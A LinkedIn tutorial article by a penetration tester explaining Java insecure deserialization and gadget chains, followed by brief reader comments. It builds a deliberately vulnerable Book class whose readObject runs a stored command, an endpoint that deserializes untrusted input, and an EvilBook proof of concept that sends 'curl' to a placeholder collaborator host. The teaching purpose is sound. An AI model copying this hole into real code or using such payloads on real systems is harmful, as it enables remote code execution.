Deserialization: What the Heck *Actually* Is a Gadget?Chain?
Florian Walter
Sr. Penetration Tester | Dev & AppSec Specialist | Security Researcher | Building, Breaking & Fixing Apps
So if you’ve been in the security space these past couple of years, there probably is one attack that you heard over and over again: Insecure Deserialization.
It’s not only ubiquitous but also critically severe, often leading to Remote Code Execution and causing widespread panic (remember Log4Shell? Ha, of course, you do!).
If you’re a normalo like me, you understand the idea of insecure deserialization vulnerabilities. You may even have used ysoserial (https://github.com/frohoff/ysoserial) or ysoserial.net (https://github.com/pwntester/ysoserial.net) and gained RCE on a training machine yourself. But there is one thing that you weren’t quite able to wrap your head around yet: Gadget Chains.
So what is a gadget chain?
A gadget chain is a chain of function calls from a source method, generally readObject, to a sink method which will perform dangerous actions like calling the exec method of the Java runtime.(https://www.synacktiv.com/en/publications/finding-gadgets-like-its-2022)
That sort of makes sense but what does this mean in easier words? Let’s ask ChatGPT:
Ha, I think I get it now! So, in essence, gadget chains are how attackers can create malicious objects that, when deserialized, end up executing arbitrary commands.
There is one fantastic article about tracing down a gadget chain in the yii framework: https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/. Big props to the author for this! However, as the author acknowledges, it is also complex as f*ck and personally took me hours to read through to sort of understand.
So how can we better understand what a gadget chain actually means? Well, by writing our own gadget of course!
Okay, say we have an application that does… books! One of its functionalities is serializing book objects to send them around between the multiple microservices of our book application. Our Book.java may look something like this:
public final class Book implements Serializable {
public String title;
public Book(String title) {
this.title = title;
}
@Override
public String toString() {
return "Book [title=" + this.title + "]";
}
}
We also have our HomeController.java which is a simple REST controller and may look something like this:
public class HomeController {
@RequestMapping("/serialize")
public String serialize() {
Book myBook = new Book("A cool book!");
return serializeBook(myBook);
}
@PostMapping("/deserialize")
public String deserialize(@RequestBody String bookBase64) {
Book myBook = deserializeBook(bookBase64);
return myBook.toString();
}
}
The implementations of serializeBook() and deserializeBook() are as follows:
/**
* Serializes a Book object and returns it as base64 string
*/
private String serializeBook(Book myBook) {
ByteArrayOutputStream baos = null;
baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(myBook);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
/**
* Deserializes a base64 string back into a Book object and returns it
*/
private Book deserializeBook(String base64SerializedBook) {
Book someBook = null;
byte[] data = Base64.getDecoder().decode(base64SerializedBook);
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
someBook = (Book) ois.readObject();
ois.close();
return someBook;
}
Please note that things like exception handling have been omitted for simplicity.
But so far so simple, right? We have a REST service with 2 endpoints:
And this is obviously dangerous already, right? We know that!
A malicious actor (you gotta love this term, right?) could serialize a malicious object and may be able to execute arbitrary commands when the object is deserialized. Why again? Ah, yeah, because of gadget chains. That’s why we’re here, right?
领英推荐
Gadget chains usually target public libraries?—?to be precise, such public libraries in which very smart security researchers have already found gadget chains. For example, ysoserial has exploits that may work against these common dependencies:
This means that if your app has a Deserialization vulnerability and uses any of the above libraries, an attacker might be able to exploit your app using ysoserial. Well, in theory at least…
It turns out that Java has been doing a good job locking down itself against these gadget chains which means that developers might be in luck if they use a recent version of Java. I played around with this a bit in August 2022 and wasn’t able to leverage most of these known gadget chains against a test app running on an up-to-date Java version?—?but some still worked. As an example, one that still worked (as of August 2022) was FileUpload1:
But, we are here because we want to write our own gadget, so let’s get back to this!
Okay, so let’s come back to our very simple book application. Say the app is going really well, customers love it, and we need more functionality. PM says that we need to do something with a book everytime it is deserialized. And what exactly? Ah, we want to run an OS command every time a book is deserialized. That… makes sense. I guess?
So how do we do this? Turns out there are some magic functions that automatically run under certain conditions without them being invoked! Because of how magic this is, they are called “Magic Methods”. One of them is called readObject and if you implement this in Book.java, it will automagically be called whenever a book is deserialized. That’s exactly what we need!
Thus, we adjust our Book.java and it looks something like this:
public final class Book implements Serializable {
public String title;
public String cmd;
public Book(String title, String cmd) {
this.title = title;
this.cmd = cmd;
}
@Override
public String toString() {
return "Book [title=" + this.title + ", cmd=" + this.cmd + "]";
}
private void readObject(ObjectInputStream in) {
in.defaultReadObject();
// ... some more logic and ultimately execute `this.cmd`
execute(this.cmd);
}
}
Now, say we are the attacker and we want to exploit this. To do this, we need to serialize a malicious object. So we create EvilBook.java:
public class EvilBook {
public static void main(String[] args) {
Book book = new Book("someTitle", "curl https://<our_collaborator_URL>");
String bookSerialized = serializeBook(book);
FileWriter fileWriter = new FileWriter("naughty_Book.ser");
PrintWriter printWriter = new PrintWriter(fileWriter);
printWriter.print(bookSerialized);
printWriter.close();
}
/**
* Serializes a Book object and returns it as base64 string
*/
public static String serializeBook(Object myBook) {
ByteArrayOutputStream baos = null;
baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(myBook);
oos.close();
return Base64.getEncoder().encodeToString(baos.toByteArray());
}
}
So what is happening here? Our serializeBook() simply takes in a book object again, serializes it, and encodes it to a base64 string. Just like we have done before.
And our main()? This creates a book object that uses this new cmd property which we added to Book.java. If this command would actually execute, it would fire curl https://<our_collaborator_URL>, which would send a request to a server under our control and would show us that we can indeed execute commands.
What else happens in main? Not much actually, we simply create a book object with this cmd?, serialize it to a base64 string, and store this string in a file that we call naughty_Book.ser. We could also call it florian.txt but let’s stick with naughty_Book.ser for now.
So we compile and run our EvilBook.java, it outputs naughty_Book.ser, and then? We simply send the content of naughty_Book.ser to the /deserialize endpoint of our HomeController.java. This would deserialize the naughty_Book, and automatically call our custom readObject() method (because it’s a magic method, ae!) within Book.java?—?which looked like this:
private void readObject(ObjectInputStream in) {
in.defaultReadObject();
// ... some more logic and ultimately execute `this.cmd`
execute(this.cmd);
}
And execute(this.cmd) would execute our curl command. And we have Remote Code Execution!
Closing Thoughts
That’s it! A super simple example of pretty much everything that Insecure Deserialization entails. We discussed object serialization, deserialization, and magic methods, and implemented our own gadget. That’s, in a nutshell, how deserialization vulnerabilities look under the hood?—?only it’s usually more complicated than this.
If you wanna dive a bit deeper into the topic, or play around with my example, you can do this! You can explore this example further?—?and more?—?at my GitHub repository: https://github.com/dub-flow/java-gadget-chain.
I genuinely hope this little story was useful to you. If you have any thoughts on the topic or anything else you’d like to share, feel free to reach out.
Mobile Application Security | API Security | OSINT
1 年Insecure deserialization read write read ??
IT Manager | Cybersecurity | PMP-PMI | Harvard | eWPTX | CWL MCRTA | CompTIA Sec+ | SCRUM Master & Product Owner | Google & Microsoft Cloud | Podcast Coffee&&Pizza | Creator of HackingWebinars & Cybermentor Institute
1 年I'm just with this, then it was a perfect fit ????
CSE Undergrad | Aspiring Cyber Security & Blockchain Professional | CTF Player | Exploring Web3.0 | Hackathon Enthusiast | Learning AI/ML | Seeking Internship Opportunities
1 年Interesting!